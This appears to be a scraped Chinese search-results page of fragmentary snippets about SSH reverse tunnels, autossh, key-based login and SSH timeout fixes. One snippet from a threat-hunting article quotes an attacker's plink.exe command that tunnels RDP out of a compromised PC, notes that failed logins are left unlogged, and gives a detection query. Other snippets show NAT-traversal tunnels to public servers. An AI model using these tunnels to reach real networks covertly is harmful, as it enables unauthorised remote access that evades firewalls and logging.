首页
学习
活动
专区
工具
TVP
发布
精选内容/技术社群/优惠产品,尽在小程序
立即前往

SSH反向连接及Autossh

/weifeng1463/p/6805624.html 0.接触Linux恐怕对SSH再熟悉不过了,还有scp,sftp各种方便的功能,一般的使用都需要ip:port(如果不是默认22的话),但有些情况比较特殊...;另一种是内网主机主动连接到外网主机,又被称作反向连接(Reverse Connection),这样NAT路由/防火墙就会在内网主机和外网主机之间建立映射,自然可以相互通信了。...A主机的1234端口就可以控制内网B主机了 $ ssh localhost -p1234 2.一开始提到,这种反向连接(Reverse Connection)不稳定,可能随时断开,需要内网主机B再次向外网...在此之前还要解决之前的一个问题,那就是每次内网主机B连接外网主机A时都需要输入密码,这个问题ssh本身是提供另外一种验证方式——通过密钥验证用户身份,实现自动登录。...,并将内容加入到~/.ssh/authorized_keys中 $ cat id_rsa.pub >> ~/.ssh/authorized_keys 试下,内网B主机连接外网A主机,就不再输入密码验证了

1.9K30

通过反向 SSH 隧道连接 RDP

/d 原文地址: https://blog.menasec.net/2019/02/threat-hunting-24-microsoft-windows-dns.html 24 - 通过反向...SSH 隧道连接 RDP 通过一条用 plink.exe 或者 FreeSSH 或者其他类似的工具建立起来的反向 SSH 隧道来建立一个RDP连接,这可以为攻击者提供一个伪 V** 服务,攻击者可以在产生更小的噪音和更少的痕迹的前提下...plink.exe 10.0.2.17 -P 80 -C -R 127.0.0.1:12345::3389 -l test -pw test 现在攻击者可以在 PC01 上使用 RDP 客户端连接本机的...另一个细节是,通过 ssh 隧道登陆时,失败的登陆事件(事件 id 4625)将不会被记录下来。...127.0.0.0/8',sourceip) OR INCIDR('::1/128',sourceip)) 使用 sigma 搜索相同的行为,并且使用 sysmon 事件 id 为 3 的事件(网络连接事件

3.1K20
您找到你想要的搜索结果了吗?
是的
没有找到

解决SSH连接Linux超时

在开发当中经常需要登录远程服务器,于是通过 ssh 或者 putty 登录,可是一转身,这厮就自动断开了。让人非常恼火,如何解决 SSH 连接 Linux 超时自动断开?...# ---------------------------- # 将以上900修改为0就是设置不超时 source /etc/profile # 让配置立即生效 sshd 服务配置 cd /etc/ssh...设置60表示每分钟发送一次, 然后客户端响应, 这样就保持长连接了。 # ClientAliveCountMax表示服务器发出请求后客户端没有响应的次数达到一定值, 就自动断开。...# 备份原配置文件 cp sshd_config sshd_config.bak # 启用客户端活动检查,每60秒检查一次,3次不活动断开连接 sed -i "s/#ClientAliveInterval.../usr/bin/expect set timeout 60 spawn ssh user@host interact { timeout 300 {send "\x20

8.8K50

Linux 温习(三): 远程连接SSH

默认不可以) 客户端使用 安装 Windows 客户端:安装 Putty、XShell 或 SecureCRT Linux 客户端: yum install openssh-clients macOS...SSH 连接 客户全局 config 文件 SSH 客户端的配置: /etc/ssh/ssh_config 局部 config 文件 局部的客户端config文件在用户家目录的.ssh隐藏目录中 ~/....ssh/config 此文件一般默认是没有创建的,可以手动创建 创建完 ~/.ssh/config 文件之后 一般会把 ~/.ssh/config 的权限修改为 600 chmod 600 ~.ssh/...把客户机的公钥传送到服务器 ssh-copy-id root@172.20.10.2 等价于 ssh-copy-id -i ~/.ssh/id_rsa.pub root@172.20.10.2 ssh-copy-id...=password -oPubkeyAuthentication=no user@host 总结 公钥需要传输并储存到远程机器上 私钥则存在我们自己的电脑里 之后,SSH 连接就不需要输入密码了

7.3K30

linux远程ssh连接不上?

背景 昨天下午从公司下班回到家后,想连接linux来给一个docker项目部署好,发现突然连接不上了?...后来我想了一下,ssh服务我重新安装一个就是了,应该是之前修改配置文件,修改坏了,于是我去了阿里云官网的控制台,使用救援连接,成功连接ssh服务,并且发现ssh服务都是关闭的!...总结 第一点 linux中不是说当一个程序出现了错误,如果是权限问题,不是就是权限不够,全部赋予755权限,反而会导致bug出现 第二点 当linux中重装了ssh后,你的之前修改的权限文件还是不会变的...,也有可能是我重装了ssh,没有碰到上面三个权限文件 第三点 linux出现了错误不要慌,首先使用救援连接进入linux内部,然后根据命令一步步排查,比如sshd -t就是查看ssh服务是否有问题的 一个命令...,学到了 废江博客 , 版权所有丨如未注明 , 均为原创丨本网站采用BY-NC-SA协议进行授权 转载请注明原文链接:linux远程ssh连接不上?

22.2K10

建立ssh反向隧道

反向隧道方法: 准备:一台有公网IP的服务器,处于内网的设备,客户端设备 说明:由于客户端设备不能直接通过互联网访问内网设备,而内网设备可以通过ssh与服务器建立连接,因此需要在内网设备和服务器之间建立一条反向...ssh隧道,客户端可以通过服务器来ssh访问内网设备 建立ssh反向隧道过程: 在内网设备输入ssh命令,与服务器建立ssh通信,同时将ssh数据在服务器的5007端口做转发 ?...其中-N表示不执行命令,只转发;-f表示后台运行;-R表示反向隧道;5007:localhost:22表示监听服务器的5007端口,所有包转发到本地的22端口;root为ssh服务器用户;119.28.54.126...登录服务器ssh转发端口即可ssh到内网设备上 由于ssh会超时断线,因此需要配置断线重连,并且需要设备免密登录服务器 断线免密登录自动重连: 在内网设备产生公钥和私钥 ? ?...其中-M 5555,表示通过5555端口监听连接状态,有问题就重连 可能出现的错误:Permission denied, please try again.

1.6K50

内网主机从外面连接不了?SSH反向隧道来帮你!

现在我们有一台内网主机 A,在局域网内是可以访问的,但是如果我们现在不处在局域网内,可以选择 V** 连接,但这样其实并不太方便,所以本节我们来说明一下利用 SSH 反向隧道来实现访问内网主机的方法...所以两台机器网络配置如下: A 内网机器 IP:192.168.1.2 SSH端口: 22 用户名:usera 密码:passworda 内网配置端口:22(即配置 SSH 端口的反向隧道) B...restart A 主机配置 主机 A 再安装一个 AutoSSH,以 Ubuntu 为例,命令如下: sudo apt-get install autossh 然后执行如下命令即可完成反向...-N 代表只建立连接,不打开shell ,-f 代表建立成功后在后台运行,-R 代表指定端口映射。...连接测试 接下来 SSH 测试连接 A 主机即可: ssh usera@10.10.10.10 -p 22001 输入密码,完成连接

1.7K50

Linux 远程连接SSH 新手指南

使用 Linux,你只需要在键盘上输入命令,就可以巧妙地使用计算机(甚至这台计算机可以在世界上任何地方),这正是 Linux 最吸引人的特性之一。...有了 OpenSSH,POSIX 用户就可以在有权限连接的计算机上打开安全外壳协议,然后远程使用。这对于许多 Linux 用户来说可能不过是日常任务,但从没操作过的人可能就会感到很困惑。...本文介绍了如何配置两台计算机的 安全外壳协议(secure shell)(简称 SSH连接,以及如何在没有密码的情况下安全地从一台计算机连接到另一台计算机。...在每台主机上激活 SSH 要通过 SSH 连接两台计算机,每个主机都必须安装 SSHSSH 有两个组成部分:本地计算机上使用的用于启动连接的命令,以及用于接收连接请求的 服务器。...使用 SSH,你可以访问家中的任何计算机,或者拥有帐户的服务器,甚至是移动和物联网设备。充分利用 SSH 也意味着解锁 Linux 终端的更多用途。如果你还没有使用过 SSH,请试一下它吧。

4.2K40

ssh 命令连接

##Linuxssh命令详解 SSH(远程连接工具)连接原理:ssh服务是一个守护进程(demon),系统后台监听客户端的连接ssh服务端的进程名为sshd,负责实时监听客户端的请求(IP22端口),...SSH2支持RSA和DSA密钥 DSA:digitalsignatureAlgorithm数字签名 RSA:既可以数字签名又可以加密 SSH知识小结 1.SSH是安全的加密协议,用于远程连接Linux服务器...自带的sftp功能 1.Window和Linux的传输工具 wincpfilezip sftp–>基于ssh的安全加密传输 samba 2.sftp客户端连接 sftp-oPort=22root@192.168.25.137...SSH2支持RSA和DSA密钥 DSA:digitalsignatureAlgorithm数字签名 RSA:既可以数字签名又可以加密 SSH知识小结 1.SSH是安全的加密协议,用于远程连接Linux服务器...自带的sftp功能 1.Window和Linux的传输工具 wincpfilezip sftp–>基于ssh的安全加密传输 samba 2.sftp客户端连接 sftp-oPort=22root@192.168.25.137

2.9K40

linux安全连接客户端ssh命令

ssh命令是openssh套件中的客户端连接工具,可以给予ssh加密协议实现安全的远程登录服务器,实现对服务器的远程管理。...语法格式: ssh [参数] [远程主机] 常用参数: -1 强制使用ssh协议版本1 -2 强制使用ssh协议版本2 -4 强制使用IPv4地址 -6 强制使用IPv6地址 -A 开启认证代理连接转发功能...-a 关闭认证代理连接转发功能 -b 使用本机指定的地址作为对位连接的源IP地址 -C 请求压缩所有数据 -F 指定ssh指令的配置文件,默认的配置文件为“/etc/ssh/ssh_config...” -f 后台执行ssh指令 -g 允许远程主机连接本机的转发端口 -i 指定身份文件(即私钥文件) -l 指定连接远程服务器的登录用户名 -N 不执行远程指令 -o 指定配置选项...~]# ssh 202.102.220.88 /sbin/fdisk -l 强制使用ssh协议版本1: [root@linuxcool ~]# ssh -1 开启认证代理连接转发功能: [root@linuxcool

6.9K00

ssh 连接 Linux 服务器并安装 Anaconda

关注"AI机器学习与深度学习算法"公众号 选择"星标"公众号,原创干货,第一时间送达 1. ssh 连接 Linux 服务器 本地远程登录 Linux 服务器,需要使用端口号为22的SSH协议。...通常情况下正常安装 Linux 系统之后,SSH 协议是默认放开的,但是也有一些情况需要我们自己安装。...SSH 协议是通过 sshd 服务提供交互的,因此如果想知道 Linux 中有没有 sshd 服务,可以通过尝试启动 sshd 服务。...服务器开启了 sshd 服务,接下来只需要查看 Linux 服务器的 ip 地址,就可以在本地通过 SSH 远程连接 Linux 服务器。...我的 Linux 服务器的 ip 地址为:192.168.135.141 ▲接受并保存ssh密钥 ▲输入用户密码 ▲ssh连接成功 本地与 Linux 服务器连接成功之后就直接在本地访问 Linux

4.9K41

【实战技巧】利用ssh将内网端口反向连接穿透到外网vps

将内网机器的127.0.0.1的8882端口,通过主动连接外网的122.114.250.153的ssh,映射到外网vps的122.114.250.153的7280端口,实现网络穿透.这样访问122.114.250.153...如果你不能创建一个代理端口,只可以使用ssh,且知道内网主机的ss用户密码(后面使用的都是root) 先将内网的ssh映射到外网 ssh -fCNR 7280:127.0.0.1:22 root@122.114.250.153...通过ssh主动反向链接外网并将ssh端口映射到122.114.250.153, 这样你链接122.114.250.153的7280就相当于链接到了内网的22(ssh) 客户端主动链接vps的7280(.../ssh/sshd_config中设置GatewayPorts为yes,然后重启ssh服务,再次进行转发即可 关于ssh超时操作断开后代理失效的问题 因为ssh时间未操作会自动断开,所以需要搭建稳定的ssh...如果你需要运行多条通道需要指定别的端口,如果占用则autissh无法成功建立连接!

4.9K20
领券